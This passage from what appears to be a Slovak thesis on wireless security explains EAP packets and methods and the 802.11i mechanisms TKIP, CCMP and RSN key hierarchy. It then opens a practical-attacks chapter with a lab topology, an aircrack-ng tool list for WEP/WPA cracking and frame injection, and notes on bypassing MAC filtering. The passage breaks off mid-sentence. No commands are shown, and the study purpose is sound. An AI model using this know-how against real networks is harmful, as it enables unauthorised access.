4.1.1 Paketový formát EAP
Na obr. 4.2 môžeme vidieť štruktúru paketu EAP.
PPP 
hlavička
PPP 
hlavička KódKód IdentifikátorIdentifikátor DĺžkaDĺžka DátaDáta
EAP:  1 B     1 B 2 B  
LAN 
hlavička
LAN 
hlavička KódKód IdentifikátorIdentifikátor DĺžkaDĺžka DátaDáta
EAP cez LAN:       1 B 1 B      2 B
Obr. 4.2: Paketový formát EAP
Kód
Prvé pole s dĺžkou 1 bajtu je určené pre kód, ktorý identifikuje typ paketu EAP.
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Identifikátor
Identifikátor má dĺžku 1 bajtu. Obsahuje bezznamienkové celé číslo, ktoré sa používa
na porovnanie žiadostí a ich odpovedí. Opakované vysielania používajú rovnaké
identifikačné čísla, ale nové vysielania používajú nové identifikačné čísla.
Dĺžka
Pole dĺžky je dlhé 2 bajty a obsahuje celkový počet bajtov v celom pakete, v ktorom
sú už zahrnuté polia kódu, identifikátora, dĺžky a pole dát. Pri niektorých protoko-
loch linkovej vrstvy je vyžadovaná výplň.
Dáta
Posledné pole je rezervované pre dáta. V závislosti na type paketu, dátové pole môže
mať dĺžku 0 bajtov. Interpretácia dátového pola zaleží na hodnote pola kódu.
4.1.2 Žiadosti a odpovede EAP
Výmeny v EAP pozostávajú zo žiadostí a odpovedí. Autentizátor odošle žiadosti
systému, ktorý žiada o prístup a na základe jeho odpovedí môže byť prístup po-
volený alebo zamietnutý. Formát paketu pre žiadosti a odpovede je zobrazený na
obr. 4.3. Kód je nastavený na 1 pre žiadosti a 2 pre odpovede. Dátové pole obsahuje
dáta určené pre žiadosti a odpovede. Každé dátové pole obsahuje jeden typ dát,
rozdelených do typu identifikačného kódu a priradených dát.
Typ
Pole typu je 1bajtové pole určené pre typ žiadosti a odpovedi. V každom pakete je
použitý iba jeden typ.
Typ dát
Pole typu dát je variabilné pole, ktoré musí byť interpretované podľa pravidiel pre
každý jeden typ.
KódKód IdentifikátorIdentifikátor DĺžkaDĺžka TypTyp
 1 B     1 B  2 B    1 B
1: Žiadosť
2: Odpoveď
Typ dátTyp dát
Obr. 4.3: EAP pakety žiadosti a odpovede
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Typ kódu 1: Identita
Autentizátor používa identitu ako počiatočnú žiadosť, ktorá sa bežne označuje ako
EAP-žiadosť/identita, alebo jednoducho len žiadosť/identita, ktorá označuje, že sa
autentizátor pokúša overiť užívateľské meno.
Typ kódu 2: Oznámenie
Autentizátor dokáže oznámenie použiť na odoslanie správy pre užívateľa. Oznamo-
vacie správy poskytujú správy užívateľovi od autentizačného systému ako napríklad
heslo, ktoré onedlho vyprší, alebo dôvod pre uzamknutie účtu. Oznamovacie správy
nie sú bežne používané u 802.1X. Odpovede musia byť zaslané ako odpoveď na ozna-
movacie žiadosti. Pakety s odpoveď/oznámenie slúžia na jednoduché potvrdzovanie.
Typ kódu 3: NAK
Autentizátor vytvára výzvu, zakódovanú pomocou typového kódu. Autentizačné
typy sú očíslované kódom 4 a viac. Pokiaľ koncový užívateľský systém nepodpo-
ruje výzvu pre daný autentizačný typ môže odpovedať pomocou NAK (Neplatné
potvrdenie – Null acknowledgement).
4.1.3 Úspešnosť a neúspešnosť EAP
Na základe výmeny EAP sa môže užívateľ pri autentizácii autentizovať úspešne alebo
neúspešne. Keď autentizátor vyhodnotí, že výmena je dokončená, môže vytvoriť
rámec pre úspešnú výmenu EAP s kódom 3, alebo rámec pre neúspešnú výmenu
EAP s kódom 4. Na obr. 4.4 je zobrazená štruktúra úspešného a neúspešného rámca.
KódKód IdentifikátorIdentifikátor DĺžkaDĺžka
 1 B     1 B 2 B
3:Úspech
4:Neúspech
Obr. 4.4: Úspešné a neúspešné rámce EAP
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4.2 Autentizačné metódy EAP
Pre doplnenie riadiacich a výmenných správ EAP priraďuje typové kódy pre auten-
tizačné metódy. Metóda EAP pozostáva zo skupiny pravidiel určených pre autenti-
záciu užívateľa. Zoznam niektorých metód EAP s ich príslušnými typovými kódmi
môžeme vidieť v tab. 4.1.
Typ Autentizačný Popis
kódu protokol
4 MD5 Autentizácia podobná ako CHAP
6 GTC Pôvodne určená pre token karty ako RSA SecurID
13 EAP-TLS Vzájomná autentizácia s digitálnymi certifikátmi
21 TTLS Chráni slabšie autentizačné metódy s TLS šifrovaním
25 PEAP Chráni slabšie EAP metódy s TLS šifrovaním
18 EAP-SIM Autentizácia mobilného telefónu prostredníctvom SIM
29 MS-CHAP-V2 Autentizácia šifrovaným heslom, kompatibilná s Windows
Tab. 4.1: Bežné metódy EAP pre 802.1X autentizáciu
4.3 Metódy EAP
Vďaka rozšíriteľnosti je možné vytvoriť nové vlastnosti pre EAP. Pokiaľ sa vyskytnú
nové požiadavky, môžu byť navrhnuté nové metódy, čo umožňuje vytvoriť nové me-
tódy pre použitie v bezdrôtových sietiach.
4.3.1 Šifrované metódy
LEAP
Prvá taká najrozšírenejšia metóda pre autentizáciu bezdrôtových sietí bola LEAP
(Odľahčený EAP – Lightweight EAP) patentovaná firmou Cisco. Podstata LEAP
pozostávala zo vzájomnej výmeny dvoch metód MS-CHAP verzie 1. Jedna auten-
tizuje sieť pre užívateľa a druhá autentizuje užívateľa pre sieť. Dynamické kľúče sú
odvodené zo vzájomnej výmeny MS-CHAP. Metóda MS-CHAP obsahuje mnoho
závažných bezpečnostných chýb a je ľahko poddajná slovníkovému útoku. Samotná
metóda LEAP mala výrazné bezpečnostné výhody v porovnaní s WEP, ktorý po-
užíval statické kľúče, ale používala zastaralú metódu MS-CHAP a tak sa časom
prestala používať. Akonáhle boli k dispozícii ďalšie protokoly, tak podstata LEAP
zanikla. V súčasnosti Cisco odporúča používať metódy PEAP, EAP-FAST alebo
EAP-TLS.
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EAP-TLS
Protokol TLS (Bezpečnosť transportnej vrstvy – Transport Layer Security) je ná-
sledníkom SSL (Vrstva bezpečných soketov – Secure Socket Layer), ktorý umož-
ňuje zabezpečené webové transakcie. Cieľom TLS je vytvorenie spoľahlivého ko-
munikačného kanálu cez nespoľahlivú sieť. TLS poskytuje vzájomnú autentizáciu
prostredníctvom výmeny certifikátov. Užívateľ je povinný predložiť digitálny certifi-
kát autorizačnému serveru na potvrdenie, ale samotný autorizačný server musí tiež
zabezpečiť certifikát. Potvrdením certifikátu servera voči zoznamu dôverných certi-
fikovaných autorít môže byť klient istý, že sa pripája do siete, ktorá je autorizovaná
certifikovanou autoritou.
Aj keď EAP-TLS je bezpečná metóda využíva sa len zriedka. Každý potenciálny
užívateľ bezdrôtovej siete musí vlastniť digitálny certifikát. Vytváranie a distribú-
cia certifikátov nasledovaná procesmi overenia dôveryhodnosti je pre správcov sietí
náročné.
EAP-TTLS a EAP-PEAP
Obe metódy TTLS (Tunelované TLS – Tunneled TLS) a PEAP (Chránený EAP –
Protected EAP) pracujú podobne. Prvým krokom protokolu je vytvoriť TLS tunel
použitím podobných postupov ako u EAP-TLS. Digitálne certifikáty na autentizač-
nom serveri by mali potvrdiť, že sieť je spoľahlivá ešte pred druhým krokom. V dru-
hom kroku sa použije TLS tunel na zašifrovanie staršieho autentizačného protokolu,
ktorý autentizuje užívateľov v sieti. Prvý krok sa označuje niekedy ako „vonkajšiaÿ
autentizácia, pretože druhú alebo „vnútornúÿ autentizáciu chráni tunel.
Certifikáty sa vyžadujú ešte stále, ale iba pre vonkajšiu autentizáciu. Pre auten-
tizačné servery sa zredukoval počet certifikátov zo stoviek alebo tisícok na iba zopár,
čím sa stal TTLS a PEAP obľúbenejší než EAP-TLS.
Malý rozdiel medzi TTLS a PEAP je práve v spôsobe, akým je riešená vnútorná
autentizácia. TTLS používa šifrovaný kanál na výmenu hodnôt párových atribútov,
zatiaľ čo PEAP používa zašifrovaný kanál k začiatku druhej EAP výmeny vo vnútri
tunela. Používanie hodnôt párových atribútov robí TLS prispôsobivejším, pretože
hodnoty párových atribútov sa dajú použiť na spustenie autentizačných metód, ktoré
nemajú príslušné EAP metódy.
Výhodou používania TTLS a PEAP je, že vnútorná i vonkajšia autentizácia
dokáže používať odlišné užívateľské mená. Oba protokoly miesto toho, aby prezradili
meno užívateľa v nezašifrovaných rámcoch, dokážu používať anonymné užívateľské
meno pre vonkajšiu autentizáciu a odkryť skutočnú identitu iba cez šifrovaný kanál.
Avšak nie každá klientská aplikácia umožňuje ukrývať identitu.[5]
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4.3.2 Ďalšie vnútorné autentizačné metódy
TTLS nie je obmedzená iba na EAP metódu pre vnútornú autentizáciu, takže staršie
metódy môžu byť použité s TTLS. V niektorých sietiach je užívateľská databáza
uložená tak, že žiadna z EAP metód neposkytuje použiteľné rozhranie.
PAP
PAP (Autentizačný protokol s heslom – Password Authentication Protocol) posiela
cez sieť meno užívateľa a heslo nešifrovane. V bezdrôtových sietiach by sa mala
používať iba ako vnútorná metóda TTLS, aby sa dalo ochrániť heslo pred jeho
zistením. PAP sa môže používať s akýmkoľvek autentizačným systémom.
CHAP
Tak ako PAP i CHAP (Autentizačný protokol s výzvou – Challenge Handshake
Authentication Protocol) bol pôvodne navrhnutý pre PPP (Protokol PPP – Point-
to-Point Protocol). U CHAP autentizačný server vyzve klienta a klient musí dokázať,
že vlastní zdieľaný tajný kľúč na základe úspešnej odpovede na výzvu.
Pôvodne bol CHAP navrhnutý tak, aby sa vyhýbal odosielaniu hesiel v nešif-
rovanom tvare. Nevýhodou CHAP je, že vyžaduje heslo v nešifrovanej podobe na
oboch koncoch linky. Na strane servera musí byť heslo uložené buď v nešifrovanej
podobe, alebo reverzibilne šifrované a tak umožniť serverovej aplikácii získať nešif-
rované heslo.[17]
MS-CHAP-V1
MS-CHAP bol vyvinutý firmou Microsoft, poskytuje podobnú funkčnosť ako CHAP
s rozšírenými funkciami pre operačné systémy Windows. Avšak MS-CHAP na roz-
diel od CHAP nevyžaduje, aby zdieľaný tajný kľúč bol v nezašifrovanej podobe
na oboch koncoch linky. MS-CHAP používa MD4 haš užívateľského hesla namiesto
nezašifrovanej podoby hesla.
EAP-MSCHAP-V2
MS-CHAPV2 bola navrhnutá tak, aby riešila nedostatky MS-CHAP. Odstraňuje
slabé šifrovanie hesiel u starších klientov, poskytuje vzájomnú autentizáciu, tiež
vylepšuje kľúčovanie a generovanie kľúča. MS-CHAP-V2 je podporovaná klientmi
Microsoftu a je bežne podporovaná a používaná ako vnútorná autentizačná metóda
s PEAP. MS-CHAP-V2 je najbežnejšou vnútornou metódou používanou s doménami
Windows. Keď sa používa ako EAP metóda môže byť použitá v kombinácii s TTLS
alebo PEAP.
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5 802.11I
5.1 TKIP
5.1.1 Rozdiely medzi TKIP a WEP
Hierarchia kľúča a automatická správa kľúča
Protokol WEP používa iba jeden hlavný kľúč (master), ktorý sa používa priamo na
rozdiel od TKIP, ktorý používa viacero hlavných kľúčov. Kľúče, ktorými sa šifrujú
jednotlivé rámce sú odvodené z hlavných kľúčov. TKIP taktiež umožňuje správu
kľúča, vďaka ktorej je možné bezpečným spôsobom obnoviť hlavné kľúče.
Rámcové kľúčovanie
Zatiaľ čo TKIP taktiež používa rámcové šifrovanie na základe RC4 tak ako WEP,
na rozdiel od neho, vytvára unikátne RC4 kľúče pre každý jeden rámec. Proces,
u ktorého je unikátny kľúč odvodený pre každý kľúč sa označuje ako „zmiešavanie
kľúčaÿ.
Sekvenčné počítadlo
Každý rámec je očíslovaný sekvenčným číslom a tak môžu byť rámce, ktoré sú mimo
poradia indikátorom pre pokus o útok opakovaním (replay attack)1.
Kontrola integrity novej správy
TKIP nahradzuje lineárny haš protokolu WEP za robustnejší kryptografický hašo-
vací algoritmus kontroly integrity prezývaný Michael. Robustnejší hašovací algorit-
mus je odolnejší voči falšovaným rámcom. Naviac zdrojová adresa je tiež chránená
kontrolou integrity, čo umožňuje odhaliť falšované rámce, ktoré predstierajú, že po-
chádzajú z určitého dôveryhodného zdroja.
Protiopatrenia v prípade zlyhania kontroly integrity
Michael môže byť ľahko zraniteľný proti aktívnemu2 útoku, a preto TKIP obsahuje
protiopatrenia na obmedzenie účinnosti tohoto útoku.
1Útočník pri takomto útoku zachytí platný prenos a neskôr ho opakovane odošle do siete.
2Útočník vykonáva určitú činnosť proti cieľovému počítačovému systému, napr. odmietanie
služieb ako u DoS.
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5.1.2 Inicializačný vektor TKIP a zmiešavanie kľúča
TKIP zdvojnásobuje dĺžku IV z 24 na 48 bitov pre väčšiu ochranu proti útokom
na IV, čo umožňuje navýšiť rozsah IV zo 16 miliónov na 281 triliónov možných
kombinácii IV. TKIP tiež umožňuje zmiešavanie kľúča, čím znižuje účinnosť útokov
proti WEP. Zmiešavaním kľúča sa mení RC4 kľúč, ktorý sa používa pre šifrovanie
jednotlivých rámcov. Každý TKIP rámec je zašifrovaný s unikátnym RC4 kľúčom.
5.1.3 Sekvenčné počítadlo TKIP
IV slúži u TKIP ako sekvenčné počítadlo. Keď sa nastaví nový hlavný kľúč, tak
sa IV/TSC nastaví na jednotku. Každý odoslaný rámec zvýši hodnotu sekvenčného
počítadla o jedna.
TKIP si uchováva na obranu voči útokom opakovaním poslednú hodnotu sek-
venčného počítadla, ktorú obdržal od každej jednej stanice. Keď sa úspešne prijme
rámec, hodnota sekvenčného počítadla sa porovná s poslednou prijatou hodnotou
sekvenčného počítadla. Pokiaľ je táto hodnota väčšia než ktorákoľvek predchádza-
júca hodnota, tak je daný rámec prijatý. Pokiaľ je táto hodnota menšia než posledná
prijatá hodnota sekvenčného počítadla, tak je daný rámec odmietnutý.
5.1.4 Šifrovanie protokolom TKIP
Na obr. 5.1 je zobrazený proces šifrovania a ochrany integrity TKIP.
TKIP vyžaduje na vstupe:
• rámec,
• dočasný kľúč, ktorý sa používa na šifrovanie rámca,
• Použitý MIC kľúč s Michael na ochranu obsahu rámca. TKIP používa
dvojicu MIC kľúčov, aby sa kľúč použitý v smere od stanice k AP líšil od
kľúča použitého v smere od AP k stanici. TKIP sa líši od WEP práve tým,
že MIC používa kľúč.
• Zdrojovú adresu, ktorá sa používa na vstupe TKIP, pretože je potrebné
overiť pôvod.
• Sekvenčné počítadlo, ktoré je obsluhované ovládačom alebo firmvérom.
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Obr. 5.1: Proces šifrovania a ochrany integrity TKIP
5.1.5 Zmiešavanie kľúča TKIP a kľúčová stavba
TKIP používa unikátny kľúč pre každý jeden prenášaný rámec. Kľúč je odvodený
z IV, sekvenčného čísla, vysielacej adresy rámca a dočasného kľúča. Zmiešavanie
kľúča zabezpečí, aby bol kľúč výrazne odlišný pre každý rámec a tým zabránil akým-
koľvek útokom, ktoré predpokladajú, že tajná zložka WEP kľúča je rovnaká pre
niektoré rámce. Dve stanice môžu používať rovnaký IV, ale ich výsledné RC4 kľúče
sa budú líšiť, pretože do zmiešaného výpočtu je pridaná i vysielacia adresa.
Proces zmiešavania kľúča môžeme vidieť na obr. 5.2. TKIP rozdeľuje výpočet
zmiešaného kľúča do dvoch fáz. Prvá fáza vyžaduje na vstupe vysielaciu adresu,
hornú 32bitovú postupnosť sekvenčného počítadla a 128bitový dočasný kľúč. Na vý-
stupe vznikne 80bitová hodnota. Aj keď je v istej miere zahrnutý výpočet, pozostáva
iba z jednoduchých operácii ako doplnenie, posunutie, alebo XOR z dôvodu obme-
dzenia výpočtovej náročnosti. Druhá fáza zmiešavania kľúča musí byť vypočítaná
pre každý jeden rámec. Druhá fáza vyžaduje na vstupe výslednú hodnotu dočas-
ného kľúča (80 bitov) a dolnú 16bitovú potupnosť sekvenčného počítadla. Jediný
vstup, ktorý sa mení každým rámcom, je hodnota sekvenčného počítadla. Výstu-
pom dvoch fáz procesu zmiešavania kľúča je 128bitový RC4 kľúč, ktorý sa dá použiť
ako zdroj pre WEP. Dolná 16bitová postupnosť sa používa pre generovanie IV pre
WEP. Stredný bajt IV WEP je umelo vytvorený, aby sa predišlo vytvoreniu slabých
RC4 kľúčov.[5]
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Obr. 5.2: Proces šifrovania a ochrany integrity TKIP
5.1.6 Zapuzdrenie TKIP
Podobne ako u WEP sú zapuzdrené aj rámce u TKIP. Na obr. 5.3 je zobrazené
zapuzdrenie rámca, ktoré je chránené s TKIP.
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Obr. 5.3: Zapuzdrenie TKIP
5.1.7 Dešifrovanie protokolom TKIP
Na obr. 5.4 je zobrazený blokový diagram so všetkými možnými cestami, ktorými
môže byť rámec zahodený ešte predtým ako sa dostane do vyšších vrstiev protokolu.
1. Prvým krokom je kontrola sekvenčného čísla proti útokom opakovaním. Ochrana
proti útokom opakovaním vyžaduje, aby rámce boli prijaté v presnom poradí.
Rámce, ktorých sekvenčné číslo je rovnaké alebo menšie ako číslo posledného
prijatého rámca sú vyhodnotené ako opakovaný pokus a sú zahodené.
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2. Na základe vysielacej adresy, dočasného kľúča a sekvenčného počítadla dokáže
prijímač získať WEP kľúč.
3. Pokiaľ sa používa proces fragmentácie3 je potrebné vyčkať než dorazia všetky
rámce pred tým, ako sa poskladá dátová časť rámca. Fragmentácia sa v 802.11
používa iba zriedkavo a to hlavne vo veľmi rušivom prostredí.
4. Keď už je rámec poskladaný vypočíta sa z obsahu rámca Michael. Pokiaľ sa
vypočítaný MIC zhoduje s pôvodným MIC rámca, tak sa rámec odošle na
vyššie vrstvy a sekvenčné počítadlo sa nastaví na hodnotu rámca. Ak kontrola
MIC zlyhá spustia sa protiopatrenia.
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Obr. 5.4: Dešifrovanie protokolom TKIP
3Dlhšia správa sa rozdelí na niekoľko menších správ a na strane prijímača sa poskladajú dokopy.
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5.2 CCMP
Sčítací režim s protokolom CBC-MAC (CCMP) je bezpečnostný protokol linko-
vej vrstvy založený na blokovej šifre AES. Protokol CCMP používa rovnaký kľúč
na šifrovanie dôvernosti a na vytváranie kryptograficky bezpečného ICV. Americká
agentúra pre národnú bezpečnosť schválila 128bitové AES kľúče pre účely ochrany
tajných dát, ale pre prísne tajné dáta je potrebné použiť 192bitové alebo 256bitové
kľúče.
CCMP vyžaduje na vstupe:
• rámec,
• dočasný kľúč, ktorý sa používa na šifrovanie a autentizáciu rámca. Používa
sa jeden kľúč na šifrovanie a autentizáciu rámca.
• Kľúčový identifikátor, ktorý sa používa na identifikáciu kľúčov. Pre každý
rámec sa použije iba jeden kľúč.
• Číslo paketu, ktoré sa používa na presnú identifikáciu vyslaného rámca. Číslo
paketu sa zvyšuje po každom jednom odoslanom pakete, ale zostáva rovnaké
pri každom opakovanom odoslaní rovnakého rámca.
5.2.1 Šifrovanie protokolom CCMP
Protokol CCMP poskytuje tak ako i ostatné šifrovacie metódy podporu pre šifrovanie
a ochranu integrity ako súčasť jedného procesu tak ako je to zobrazené na obr. 5.5.
Popis jednotlivých krokov je popísaný v nasledujúcich bodoch:
1. Pripraví sa na vysielanie rámec 802.11, ktorý pozostáva z hlavičky a dátovej
časti. TKIP chráni iba dátovú časť MAC 802.11 a hlavičku rámca 802.11
necháva nedotknutú.
2. Priradí sa 48bitové číslo paketu. Tak ako pri sekvenčnom číslovaní TKIP,
čísla paketov sa nikdy neopakujú pre rovnaký dočasný kľúč. Paketové čísla sa
zvyšujú po jednom počas každého vysielania a používajú sa na odhalenie
útoku opakovaním.
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3. Vytvorí sa AAD (Doplnková autentizácia dát – Additional Authentication
Data). Obsahuje polia v hlavičke rámca, ktoré musia byť z hľadiska
bezpečnosti autentizované, ale súčasne musia zostať nešifrované, aby ich
mohli rozpoznať aj iné protokoly 802.11. Príjemca prostredníctvom AAD
overí, či sa počas prenosu nezmenili autentizované polia. AAD chráni polia
riadiaceho rámca a to konkrétne verziu protokolu 802.11, typ rámca, bity
distribučného systému, bit viacerých fragmentov a bit poradia. Taktiež
ochraňuje polia adries MAC hlavičky a pole sekvenčnej kontroly
so sekvenčným číslom nastaveným na nulu. Končí to s dvomi voliteľnými
komponentami a to štvoricou adries z MAC hlavičky4 a hlavičkou
informujúcou o QoS. [5]
4. Vytvorí sa náhodné číslo. Toto náhodné číslo by sa nikdy nemalo opakovane
použiť s rovnakým kľúčom. Aby sa dalo použiť rovnaké číslo paketu pre
viaceré stanice, CCMP používa náhodné číslo kombinovane s číslom paketu a
adresou odosielateľa.
5. Vytvorí sa CCMP hlavička, ktorá pozostáva z čísla paketu rozdeleného do
6 bajtov s identifikátorom kľúča uprostred. Rozširujúci IV je vždy nastavený
do 1 v hlavičke CCMP. Hlavička je zobrazená na obr. 5.6.
6. Všetky vstupy pre šifrovací mechanizmus CCMP sú v tomto kroku už
prístupné. Na vstupe CCMP vyžaduje 128bitový dočasný kľúč, náhodné
číslo, ADD a telo rámca. Všetky dáta sú autentizované s 8bajtovým MIC
kľúčom, pričom šifruje sa telo rámca aj MIC. Proces šifrovanie je zobrazený
na obr. 5.5.
7. Zašifrovaný rámec sa pripraví na vysielanie tak, že sa pôvodná MAC hlavička
pripojí k CCMP hlavičke a šifrovaným dátam.
4pokiaľ sa používa bezdrôtový distribučný systém
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Obr. 5.5: Šifrovanie protokolom CCMP
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Obr. 5.6: Zapuzdrenie CCMP
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5.3 RSN
Štandard 802.11i definuje okrem TKIP a CCMP tiež procedúry, ktoré vytvárajú
štandard tzv. RSN (Robustne zabezpečená sieť – Robust Security Network). Tieto
operácie definujú ako sa odvodia a distribuujú kľúče.
5.3.1 Hierarchia kľúča 802.11i
Pre šifrovacie protokoly linková vrstva používa dva typy kľúčov. Párové kľúče ochra-
ňujú prenos medzi stanicou a AP. Skupinové kľúče ochraňujú všesmerové alebo sku-
pinové vysielanie v smere od AP k asociovaným klientom. Skupinové kľúče sú vy-
tvorené náhodne a distribuované pre každú stanicu.
5.3.2 Hierarchia párového kľúča
Oba protokoly TKIP a CCMP si vezmú jeden hlavný kľúč a rozšíria ho do rozdielnych
kľúčov, ktoré sú vyžadované operáciami pre ochranu rámca. Vďaka tomu, že sa kľúč
odvodí, môžu stanice obnoviť šifrovacie kľúče bez nutnosti opakovania autentizácie.
Hlavný kľúč je základný kľúč, ktorý musí byť dôkladne ochránený, pretože všetky
kľúče sú odvodené práve z neho. Jednou z úloh kľúčovej hierarchie je odvodiť kľúče
pre ochranu prenosu dočasných kľúčov. Na obr. 5.7 je zobrazená hierarchia párového
kľúča, kde hlavný kľúč PMK (Hlavný párový kľúč – Pairwise Master Key) je 256bitov
dlhý.
Dočasné kľúče vzniknú rozšírením PMK o definovanú pseudonáhodnú funkciu.5
Ďalšie rozšírenie náhodnosti dát je založené na hlavnom (pre-master) kľúči, MAC
adresách žiadateľa i autentizátora a dvoch náhodných hodnotách odoslaných ako
súčasť výmeny kľúča prostredníctvom 4cestného podania ruky (handshake).
Oba protokoly TKIP a CCMP používajú pseudonáhodnú funkciu na rozšírenie
256bitového PMK na PTK (Párový krátkodobý kľúč – Pairwise Transient Key).
V oboch hierarchiách TKIP a CCMP sa dve 128bitové časti krátkodobého (transient)
kľúča používajú pre kľúče, ktoré chránia dočasné (temporal) kľúče počas distribúcii.
Obe kľúčové hierarchie začínajú s dvomi 128bitovými EAPOL kľúčmi, ktoré sa
používajú pre bezpečný prenos kľúčov. Prvý EAPOL KCK (Kľúč k potvrdzovaciemu
kľúču – Key Confirmation Key) sa používa na vypočítanie kontroly integrity kľú-
čových správ a druhý EAPOL KEK (Kľúč k šifrovaciemu kľúču – Key Encryption
Key) sa používa na šifrovanie kľúčových správ.
5Mnoho šifrovacích protokolov používa pseudonáhodné funkcie, aby rozšírili pôvodný kľúč do
veľkého množstva náhodných dát, ako napr. u TLS.
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Krátkodobý (transient) kľúč pozostáva celkovo z 512 bitov, kde sa 256 bitov
používa ako 128bitový dočasný (temporal) kľúč, ktorý sa používa pri dátovom spra-
covaní TKIP a 128 bitov pre Michaelovu kontrolu integrity. TKIP vyžaduje dva
dodatočné kľúče, pretože používa tradičný scenár šifrovania a autentizácie, ktorý
striktne oddeľuje šifrovanie od autentizácie. Krátkodobý (transient) kľúč CCMP je
dlhý iba 384 bitov, pretože sa používa iba jeden 128bitový kľúč pre autentizáciu a
šifrovanie.
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128 b
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128 b
EAPOL
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EAPOL
KEK
128 b
EAPOL
KEK
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TKIP
TK
128 b
TKIP
TK
128 b
TKIP
MIC kľúč
128 b
TKIP
MIC kľúč
128 b
Rozšírenie pseudonáhodnou funkciou
   (adresa žiadatela/autentifikátora a náhodné čísla)
Obr. 5.7: Hierarchia párového kľúča
5.3.3 Hierarchia skupinového kľúča
Bezpečnostné protokoly linkovej vrstvy používajú rozdielne druhy kľúčov pre vše-
smerové a skupinové vysielanie. Každá asociovaná stanica bude mať iný hlavný kľúč
(pre-master key) a tak nie je možné z rôznych autentizačných výmen odhadnúť kľúč,
ktorý by sa dal použiť na viac cieľov. Autentizátor si udržuje GMK (Hlavný sku-
pinový kľúč – Group Master Key) ako základ pre dočasné kľúče. Hlavný skupinový
kľúč sa rozšíri pomocou pseudonáhodnej funkcie do hierarchie skupinového kľúča
zobrazeného na obr. 5.8. Nie je vygenerovaný žiadny šifrovací kľúč ani kľúč pre po-
tvrdzovanie kľúčov, pretože pre distribúciu kľúča sa používajú párové EAPOL kľúče.
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Obr. 5.8: Hierarchia skupinového kľúča
5.3.4 Odvodenie a distribúcia kľúča 802.11i
Namiesto toho, aby sa jednoducho použil hlavný kľúč na vstupe kryptografického
protokolu, tak 802.11i špecifikuje mechanizmus odvodenia kľúčov. Aby sa zabrá-
nilo útokom opakovaním, výmena používa náhodné čísla a vyžaduje podanie ruky
(handshake). Párové a skupinové kľúče sa aktualizujú v rámci oddelených podaní
rúk, ktoré môžeme vidieť na obr. 5.9.
StanicaStanica AutentizátorAutentizátor
 Výpočet PTK
Inštalácia TK
Dešifrovanie GTK
inštalácia  kľúča
1: Náhodná hodnota autentifikátora
2: Náhodná hodnota žiadateľa
    (autentifikovaný) parametre zapezpečenia
3: Správa o potvrdení 2  (ACK)
    Odoslanie (zašifrovaného) GTK
4: Správa o potvrdení 3 (ACK)
1: GTK šifrovaný s kľúčom z párovej hierarchie
2: Správa o potvrdení 1 (ACK)
Výpočet PTK
Inštalácia TK
Dešifrovanie
GTK
Obr. 5.9: Výmena kľúča
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6 PRAKTICKÁ REALIZÁCIA ÚTOKOV
6.1 Topológia
Všetky útoku boli realizované na vytvorenej bezdrôtovej sieti, ktorej topológiu mô-
žeme vidieť na obr. 6.1. Popis jednotlivých použitých zariadení môžeme nájsť v tab. 6.1
a detaily o použitom smerovači nájdeme v tab. 6.2.
V rámci realizácie budeme potrebovať nastaviť dva režimy bezdrôtových sieťo-
vých kariet:
• „Monitorÿ, potrebujeme na monitorovanie sieťovej aktivity a
• „Managedÿ, umožňujúci bežnému užívateľovi používať základné služby siete.
Útočník
00:0E:9B:B9:79:F1
Užívateľ
00:16:CE:8A:8E:05
Smerovač
00:50:7F:A6:19:D8
Obr. 6.1: Topológia siete pre simulované útoky
Pozícia Útočník Užívateľ
Zariadenie Acer Aspire 5024WLMi Acer Aspire 3102WLMi
CPU AMD Turion64 ML34 1,8 GHz AMD Sempron64 3200+ 1,6 GHz
RAM 1280 MB 1024 MB
Typ karty BCM4318 AR5005G
Ovládač b43 ath5k
Režim Monitor Managed
Štandardy IEEE 802.11b/g 802.11b/g
MAC adresa 00:0E:9B:B9:79:F1 00:16:CE:8A:8E:05
Operačný systém Gentoo Ubuntu 10.04
Linux kernel 2.6.30-gentoo-r8 2.6.32.9
Tab. 6.1: Zoznam použitých zariadení
Zariadenie DrayTek Vigor 2700VG
ESSID diplomka
BSSID 00:50:7F:A6:19:D8
Štandardy IEEE 802.3,802.11b/g
Zabezpečenie WEP, WPA/WPA2 (802.11i), RADIUS
Tab. 6.2: Detaily o smerovači
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6.2 Použité aplikácie
Pre nasledujúce meranie budeme používať aplikačný balík aircrack-ng, ktorého
podrobnejší popis nájdeme v tab. 6.3. V tejto časti budeme používať hlavne ap-
likácie aircrack-ng, aireplay-ng, airmon-ng, airodump-ng a packetforge-ng.
Pre správny chod aplikácie aireplay-ng je potrebné, aby daná bezdrôtová sieťová
karta podporovala injekčný režim (injection mode) a zároveň podporovala monito-
rovací režim pre aplikáciu airodump-ng. Kompletný zoznam podporovaných kariet
nájdeme na domovskej adrese http://www.aircrack-ng.org.
Aplikácia Popis
airbase-ng Viacúčelový nástroj, ktorý sa zameriava na útoky proti klientom
aircrack-ng Aplikácia na lámanie hesiel pre 802.11 WEP a WPA/WPA2-PSK
airdecap-ng Umožňuje dešifrovať zachytené WEP/WPA/WPA2 rámce
airdriver-ng Skript poskytuje informácie a povoľuje inštaláciu bezdrôtových ovládačov
aireplay-ng Injekcia a generovanie bezdrôtových rámcov
airmon-ng Aktivuje alebo deaktivuje monitorovací režim na bezdrôtovom rozhraní.
airodump-ng Zachytávanie 802.11 rámcov
airolib-ng Obsahuje vopred vypočítané WPA/WPA2 kľúčové frázy v databáze na neskoršie
využitie s aircrack-ng
airserv-ng TCP/IP server, ktorý umožňuje využiť niekoľkým aplikáciám bezdrôtovú kartu
airtun-ng Vytvorenie virtuálneho tunela
easside-ng Nástroj na komunikáciu s AP, šifrovaným pomocou WEP bez znalosti kľúča.
packetforge-ng Umožňuje vytvárať rôzne druhy šifrovaných paketov, ktoré môžu byť použité na
injekciu.
tkiptun-ng Implementácia útoku WPA/TKIP, injekcia rámcov v sietiach WPA/TKIP s pod-
porou QoS
wesside-ng Automatizovaný nástroj, ktorý zahrňuje niekoľko techník ako získať WEP kľúč
v rámci niekoľkých minút.
Tab. 6.3: Zoznam aplikácií podporovaných balíkom aircrack-ng
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6.3 Najslabšie ochrany
6.3.1 Filtrácia klientov pomocou MAC
Riadenie prístupu nikdy nebolo definované ako súčasť štandardu WEP[18], okrem
obmedzeného prístupu poskytovaného prostredníctvom autentizácie so zdieľaným
kľúčom viď obr. 3.4. Avšak niekoľko výrobcov implementovalo možnosti ako riadiť
prístup do siete prostredníctvom zoznamu autorizovaných MAC adries. MAC filtrá-
cia umožňuje administrátorom nastaviť prístup iba niektorým MAC adresám. Avšak
táto metóda neprináša žiadne významné zabezpečenie, pretože jednoduchým príka-
